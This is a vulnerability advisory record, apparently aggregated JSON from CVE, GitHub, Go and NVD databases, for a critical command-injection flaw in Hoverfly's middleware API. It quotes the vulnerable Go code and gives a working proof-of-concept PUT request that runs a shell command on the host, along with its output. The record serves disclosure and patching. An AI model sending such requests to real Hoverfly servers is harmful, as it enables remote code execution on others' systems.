{"id":"CVE-2025-54123","aliases":["CVE-2025-54123","GHSA-r4h8-hfp2-ggmf","GO-2025-3944"],"related":[],"kind":"vulnerability","state":"published","title":"Hoverfly vulnerable to remote code execution at `/api/v2/hoverfly/middleware` endpoint due to insecure middleware implementation","summary":"Hoverfly is an open source API simulation tool. In versions 1.11.3 and prior, the middleware functionality in Hoverfly is vulnerable to command injection vulnerability at `/api/v2/hoverfly/middleware` endpoint due to insufficient validation and sanitization in user input. The vulnerability exists in the middleware management API endpoint `/api/v2/hoverfly/middleware`. This issue is born due to combination of three code level flaws: Insufficient Input Validation in middleware.go line 94-96; Unsafe Command Execution in local_middleware.go line 14-19; and Immediate Execution During Testing in hoverfly_service.go line 173. This allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the Hoverfly process. Commit 17e60a9bc78826deb4b782dca1c1abd3dbe60d40 in version 1.12.0 disables the set middleware API by default, and subsequent changes to documentation make users aware of the security changes of exposing the set middleware API.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Hoverfly is an open source API simulation tool. In versions 1.11.3 and prior, the middleware functionality in Hoverfly is vulnerable to command injection vulnerability at `/api/v2/hoverfly/middleware` endpoint due to insufficient validation and sanitization in user input. The vulnerability exists in the middleware management API endpoint `/api/v2/hoverfly/middleware`. This issue is born due to combination of three code level flaws: Insufficient Input Validation in middleware.go line 94-96; Unsafe Command Execution in local_middleware.go line 14-19; and Immediate Execution During Testing in hoverfly_service.go line 173. This allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the Hoverfly process. Commit 17e60a9bc78826deb4b782dca1c1abd3dbe60d40 in version 1.12.0 disables the set middleware API by default, and subsequent changes to documentation make users aware of the security changes of exposing the set middleware API.","source":"cvelist"},{"lang":"en","text":"### Summary\nIt has been discovered that the middleware functionality in Hoverfly is vulnerable to command injection through its `/api/v2/hoverfly/middleware` endpoint due to insufficient validation and sanitization in user input.\n\n### Details\nThe vulnerability exists in the middleware management API endpoint `/api/v2/hoverfly/middleware`. \n\nThis issue is born due to combination of three code level flaws:\n\n1. Insufficient Input Validation in [middleware.go line 94-96](https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/middleware.go#L93):\n\n```\nfunc (this *Middleware) SetBinary(binary string) error {\n    this.Binary = binary  // No validation of binary parameter here\n    return nil\n}\n```\n\n2. Unsafe Command Execution in [local_middleware.go line 14-19](https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/local_middleware.go#L13):\n\n```\nvar middlewareCommand *exec.Cmd\nif this.Script == nil {\n    middlewareCommand = exec.Command(this.Binary)  // User-controlled binary\n} else {\n    middlewareCommand = exec.Command(this.Binary, this.Script.Name())  // User-controlled binary and script\n}\n```\n\n3. Immediate Execution During Testing in [hoverfly_service.go line 173](https://github.com/SpectoLabs/hoverfly/blob/master/core/hoverfly_service.go#L173):\n\n```\n_, err = newMiddleware.Execute(testData)  // Executes middleware immediately for testing\n```\n\n### POC\n\n1. Send the below HTTP PUT request to `http://localhost:8888` in order to create our malicious middleware, this will execute a simple `whoami` command on target. (ADMIN UI/API)\n\nHere, when you send this request, The hoverify will processes the request and writes the script to a temporary file and During middleware validation, Hoverfly executes: `/bin/bash /tmp/{hoverfly_script}`, and Boom! The malicious script will get executed with Hoverfly's privileges.\n\n```\nPUT /api/v2/hoverfly/middleware HTTP/1.1\nHost: localhost:8888\nsec-ch-ua-platform: \"macOS\"\nAccept-Language: en-US,en;q=0.9\nAccept: application/json, text/plain, */*\nsec-ch-ua: \"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36\nsec-ch-ua-mobile: ?0\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://localhost:8888/dashboard\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nContent-Type: application/json\nContent-Length: 101\n\n{\n    \"binary\": \"/bin/bash\",\n    \"script\": \"whoami\"\n}\n```\n\n```\nHTTP/1.1 422 Unprocessable Entity\nDate: Sat, 12 Jul 2025 15:55:49 GMT\nContent-Length: 540\nContent-Type: text/plain; charset=utf-8\n\n{\"error\":\"Failed to unmarshal JSON from middleware\\nCommand: /bin/bash /var/folders/c6/c708mhjj12j_d5sg_s80pybc0000gn/T/hoverfly/hoverfly_2749637664\\ninvalid character 'k' looking for beginning of value\\n\\nSTDIN:\\n{\\\"response\\\":{\\\"status\\\":200,\\\"body\\\":\\\"ok\\\",\\\"encodedBody\\\":false,\\\"headers\\\":{\\\"test_header\\\":[\\\"true\\\"]}},\\\"request\\\":{\\\"path\\\":\\\"/\\\",\\\"method\\\":\\\"GET\\\",\\\"destination\\\":\\\"www.test.com\\\",\\\"scheme\\\":\\\"\\\",\\\"query\\\":\\\"\\\",\\\"formData\\\":null,\\\"body\\\":\\\"\\\",\\\"headers\\\":{\\\"test_header\\\":[\\\"true\\\"]}}}\\n\\nSTDOUT:\\nkr1shna4garwal\\n\"}\n```\n(Here, the user is `kr1shna4garwal`)\n\n### Impact\n\nThis allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the hoverfly process.\n\nReporter:\n@kr1shna4garwal","format":"markdown","source":"ghsa"},{"lang":"en","text":"Hoverfly is vulnerable to Remote Code Execution through an insecure middleware implementation in github.com/SpectoLabs/hoverfly","format":"markdown","source":"go"},{"lang":"es","text":"Hoverfly es una herramienta de simulación de API de código abierto. En las versiones 1.11.3 y anteriores, la funcionalidad de middleware en Hoverfly es vulnerable a una vulnerabilidad de inyección de comandos en el endpoint '/api/v2/hoverfly/middleware' debido a una validación y sanitización insuficientes en la entrada del usuario. La vulnerabilidad existe en el endpoint de la API de gestión de middleware '/api/v2/hoverfly/middleware'. Este problema nace de la combinación de tres fallos a nivel de código: Validación de Entrada Insuficiente en middleware.go línea 94-96; Ejecución de Comandos Insegura en local_middleware.go línea 14-19; y Ejecución Inmediata Durante las Pruebas en hoverfly_service.go línea 173. Esto permite a un atacante obtener ejecución remota de código (RCE) en cualquier sistema que ejecute el servicio Hoverfly vulnerable. Dado que la entrada se pasa directamente a los comandos del sistema sin las comprobaciones adecuadas, un atacante puede cargar una carga útil maliciosa o ejecutar directamente comandos arbitrarios (incluyendo shells inversas) en el servidor anfitrión con los privilegios del proceso Hoverfly. El commit 17e60a9bc78826deb4b782dca1c1abd3dbe60d40 en la versión 1.12.0 deshabilita la API de configuración de middleware por defecto, y los cambios posteriores en la documentación alertan a los usuarios sobre los cambios de seguridad al exponer la API de configuración de middleware.","source":"nvd"}],"published":"2025-09-10T18:41:46.370Z","modified":"2026-06-17T09:39:29.430Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-20","CWE-78"],"affected":[{"ranges":[{"version":"<= 1.11.3","status":"affected"}],"vendor":"SpectoLabs","product":"hoverfly","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"1.11.3"}],"ecosystem":"Go","package":"github.com/SpectoLabs/hoverfly","purl":"pkg:golang/github.com/SpectoLabs/hoverfly","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/SpectoLabs/hoverfly","purl":"pkg:golang/github.com/SpectoLabs/hoverfly","source":"go"},{"ranges":[{"status":"affected","fixed":"1.12.0"}],"vendor":"hoverfly","product":"hoverfly","cpe":"cpe:2.3:a:hoverfly:hoverfly:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/SpectoLabs/hoverfly/commit/17e60a9bc78826deb4b782dca1c1abd3dbe60d40","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/SpectoLabs/hoverfly/commit/a9d4da7bd7269651f54542ab790d0c613d568d3e","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/SpectoLabs/hoverfly/blob/master/core/hoverfly_service.go#L173","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/local_middleware.go#L13","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/middleware.go#L93","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54123","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/SpectoLabs/hoverfly/pull/1203","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/SpectoLabs/hoverfly","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2025-09-10T18:47:39.102Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-54123","url":"https://www.cve.org/CVERecord?id=CVE-2025-54123","licence":"CVE Terms of Use","modified":"2025-09-10T19:48:59.256Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-r4h8-hfp2-ggmf","url":"https://github.com/advisories/GHSA-r4h8-hfp2-ggmf","licence":"CC-BY-4.0","modified":"2025-09-17T17:42:06.792Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2025-3944","url":"https://pkg.go.dev/vuln/GO-2025-3944","licence":"CC-BY-4.0","modified":"2026-03-03T04:56:54.102Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-54123","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54123","licence":"Public domain","modified":"2026-06-17T09:39:29.430Z"}],"updatedAt":"2026-11-25T22:59:04.505Z","epss":{"score":0.10957,"percentile":0.95989,"date":"2026-12-01T12:00:22.000Z"}}